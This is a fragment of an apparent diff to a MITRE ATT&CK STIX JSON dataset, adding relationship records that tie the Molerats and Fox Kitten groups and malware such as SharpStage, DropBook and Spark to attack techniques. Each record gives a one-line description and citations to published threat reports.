2020." + } + ], + "description": "[SharpStage](https://attack.mitre.org/software/S0546) can use WMI for execution.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)", + "relationship_type": "uses", + "id": "relationship--dcd99f6a-c554-4b04-a962-dc3a5f89cdf9", + "type": "relationship", + "modified": "2020-12-28T21:12:01.800Z", + "created": "2020-12-22T17:02:53.301Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + }, + { + "source_name": "BleepingComputer Molerats Dec 2020", + "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/", + "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. 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Retrieved December 28, 2020." + } + ], + "description": "[DropBook](https://attack.mitre.org/software/S0547) can download and execute additional files.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)", + "relationship_type": "uses", + "id": "relationship--867a1701-c263-4582-ad1c-7c0baae2cf23", + "type": "relationship", + "modified": "2020-12-28T21:34:37.869Z", + "created": "2020-12-22T18:36:12.322Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "target_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", + "external_references": [ + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + } + ], + "description": "(Citation: Cybereason Molerats Dec 2020)", + "relationship_type": "uses", + "id": "relationship--41b74267-f604-4581-b1ca-4f1907a82245", + "type": "relationship", + "modified": "2020-12-22T19:11:27.225Z", + "created": "2020-12-22T19:11:27.225Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "target_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a", + "external_references": [ + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + } + ], + "description": "(Citation: Cybereason Molerats Dec 2020)", + "relationship_type": "uses", + "id": "relationship--8f321c37-1463-4b55-a3d5-f2e517ede0b7", + "type": "relationship", + "modified": "2020-12-22T19:11:27.247Z", + "created": "2020-12-22T19:11:27.247Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "external_references": [ + { + "source_name": "ClearkSky Fox Kitten February 2020", + "url": "https://www.clearskysec.com/fox-kitten/", + "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020." + }, + { + "source_name": "Dragos PARISITE ", + "url": "https://www.dragos.com/threat/parisite/", + "description": "Dragos. (n.d.). PARISITE. Retrieved December 21, 2020." + }, + { + "source_name": "CrowdStrike PIONEER KITTEN August 2020", + "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/", + "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020." + }, + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + }, + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has exploited known vulnerabilities in Fortinet, PulseSecure, and Palo Alto VPN appliances.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Dragos PARISITE )(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)", + "relationship_type": "uses", + "id": "relationship--6d4f3696-caa9-4100-bef5-e42d0f18470e", + "type": "relationship", + "modified": "2020-12-29T20:23:05.329Z", + "created": "2020-12-22T20:20:36.543Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "external_references": [ + { + "source_name": "ClearkSky Fox Kitten February 2020", + "url": "https://www.clearskysec.com/fox-kitten/", + "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020." + }, + { + "source_name": "CrowdStrike PIONEER KITTEN August 2020", + "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/", + "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020." + }, + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has exploited known vulnerabilities in remote services including RDP.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: ClearSky Pay2Kitten December 2020)", + "relationship_type": "uses", + "id": "relationship--1cfc2e72-a9ce-4dc2-95ad-fb99c90a2880", + "type": "relationship", + "modified": "2021-01-04T14:59:30.624Z", + "created": "2020-12-22T20:20:36.541Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "malware--911fe4c3-444d-4e92-83b8-cc761ac5fd3b", + "external_references": [ + { + "source_name": "CrowdStrike PIONEER KITTEN August 2020", + "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/", + "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020." + } + ], + "description": "(Citation: CrowdStrike PIONEER KITTEN August 2020)", + "relationship_type": "uses", + "id": "relationship--a1096af2-bc65-422d-9a1a-be9baf098227", + "type": "relationship", + "modified": "2020-12-22T20:39:04.816Z", + "created": "2020-12-22T20:39:04.816Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", + "external_references": [ + { + "source_name": "CrowdStrike PIONEER KITTEN August 2020", + "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/", + "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020." + }, + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + }, + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used protocol tunneling for communication and RDP activity on compromised hosts through the use of open source tools such as [Ngrok](https://attack.mitre.org/software/S0508) and custom tool SSHMinion.(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)", + "relationship_type": "uses", + "id": "relationship--bdaf3340-0580-4e89-9cdc-e0af5a91ed85", + "type": "relationship", + "modified": "2020-12-29T20:23:05.374Z", + "created": "2020-12-22T20:43:14.335Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + }, + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used tools including NMAP to conduct broad scanning to identify open ports.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)", + "relationship_type": "uses", + "id": "relationship--dd0c5079-1bd3-45fa-b8e7-aabf0a5513b7", + "type": "relationship", + "modified": "2020-12-29T20:23:05.369Z", + "created": "2020-12-22T20:52:34.788Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used valid credentials with various services during lateral movement.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--db08c6bc-0a2a-41f3-bcb2-5410f9e0afa6", + "type": "relationship", + "modified": "2021-04-20T22:02:32.999Z", + "created": "2020-12-22T20:56:28.406Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + }, + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has installed web shells on compromised hosts to maintain access.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)", + "relationship_type": "uses", + "id": "relationship--96772bc0-7a9e-4688-95a2-67fff1646be4", + "type": "relationship", + "modified": "2020-12-29T20:23:05.371Z", + "created": "2020-12-22T21:03:01.890Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--68efc544-05be-454e-86e9-18d55c7d0f2b", + "type": "relationship", + "modified": "2020-12-22T21:05:13.875Z", + "created": "2020-12-22T21:05:13.875Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "external_references": [ + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + } + ], + "description": "[SharpStage](https://attack.mitre.org/software/S0546) has used a legitimate web service for evading detection.(Citation: Cybereason Molerats Dec 2020) ", + "relationship_type": "uses", + "id": "relationship--3a200957-9a8b-407e-a23f-cea1ef8236e6", + "type": "relationship", + "modified": "2020-12-23T12:48:28.394Z", + "created": "2020-12-23T12:48:28.394Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + } + ], + "description": "[DropBook](https://attack.mitre.org/software/S0547) can unarchive data downloaded from the C2 to obtain the payload and persistence modules.(Citation: Cybereason Molerats Dec 2020) ", + "relationship_type": "uses", + "id": "relationship--8e2b7383-c6dc-40c1-bb88-3176ff98c9dc", + "type": "relationship", + "modified": "2020-12-23T13:37:53.541Z", + "created": "2020-12-23T13:37:53.541Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + } + ], + "description": "[DropBook](https://attack.mitre.org/software/S0547) has checked for the presence of Arabic language in the infected machine's settings.(Citation: Cybereason Molerats Dec 2020) ", + "relationship_type": "uses", + "id": "relationship--e11c02c8-e740-489f-925f-33c05c94c80f", + "type": "relationship", + "modified": "2020-12-23T13:37:53.558Z", + "created": "2020-12-23T13:37:53.558Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "external_references": [ + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + } + ], + "description": "[Spark](https://attack.mitre.org/software/S0543) has encoded communications with the C2 server with base64.(Citation: Unit42 Molerat Mar 2020) ", + "relationship_type": "uses", + "id": "relationship--54e27824-ac46-49ca-8b58-dc5726b6cefb", + "type": "relationship", + "modified": "2021-04-19T22:03:52.473Z", + "created": "2020-12-23T16:40:34.170Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "target_ref": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", + "external_references": [ + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + } + ], + "description": "[Spark](https://attack.mitre.org/software/S0543) has used a splash screen to check whether an user actively clicks on the screen before running malicious code.(Citation: Unit42 Molerat Mar 2020) ", + "relationship_type": "uses", + "id": "relationship--883a60f7-0111-4542-b590-2f0140ba26bd", + "type": "relationship", + "modified": "2020-12-23T16:40:34.175Z", + "created": "2020-12-23T16:40:34.175Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used cmd.exe likely as a password changing mechanism.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--54b2d2db-b1d8-49aa-82f3-08d8a53a4899", + "type": "relationship", + "modified": "2020-12-23T18:56:54.608Z", + "created": "2020-12-23T18:56:54.608Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + }, + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Scheduled Tasks for persistence and to load and execute a reverse proxy binary.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)", + "relationship_type": "uses", + "id": "relationship--99c87be1-d8f1-4b41-836f-8811628c4b80", + "type": "relationship", + "modified": "2020-12-29T20:30:01.677Z", + "created": "2020-12-23T19:10:21.400Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used sticky keys to launch a command prompt.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--df898edd-0829-4222-b50b-e7cbf75a0fb4", + "type": "relationship", + "modified": "2020-12-23T19:17:53.351Z", + "created": "2020-12-23T19:17:53.351Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. 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Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has named binaries and configuration files svhost and dllhost respectively to appear legitimate.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--e51ab951-2e6f-4c7e-bd10-fe0dc0bb4671", + "type": "relationship", + "modified": "2020-12-23T20:50:54.873Z", + "created": "2020-12-23T20:50:54.873Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--f59508a6-3615-47c3-b493-6676e1a39a87", + "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "external_references": [ + { + "source_name": "Red Canary Hospital Thwarted Ryuk October 2020", + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020." + }, + { + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", + "source_name": "FireEye FIN6 Apr 2019" + }, + { + "source_name": "FireEye Ryuk and Trickbot January 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. 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(2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020." + }, + { + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", + "source_name": "FireEye FIN6 Apr 2019" + }, + { + "source_name": "FireEye Ryuk and Trickbot January 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. 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A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020." + }, + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + }, + { + "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", + "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020." + }, + { + "source_name": "Red Canary Hospital Thwarted Ryuk October 2020", + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020." + } + ], + "description": "(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)", + "relationship_type": "uses", + "id": "relationship--1dd1bd5b-8639-48bd-81bd-c34c61fd464a", + "type": "relationship", + "modified": "2020-12-29T17:45:45.475Z", + "created": "2020-12-28T19:06:02.231Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "target_ref": "tool--f59508a6-3615-47c3-b493-6676e1a39a87", + "external_references": [ + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. 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Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020." + } + ], + "description": "[SharpStage](https://attack.mitre.org/software/S0546) has decompressed data received from the C2 server.(Citation: BleepingComputer Molerats Dec 2020)", + "relationship_type": "uses", + "id": "relationship--a6bf495a-9769-433b-8754-e57f5e9045b7", + "type": "relationship", + "modified": "2020-12-28T21:12:01.745Z", + "created": "2020-12-28T21:12:01.745Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "BleepingComputer Molerats Dec 2020", + "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/", + "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020." + } + ], + "description": "[SharpStage](https://attack.mitre.org/software/S0546) has checked the system settings 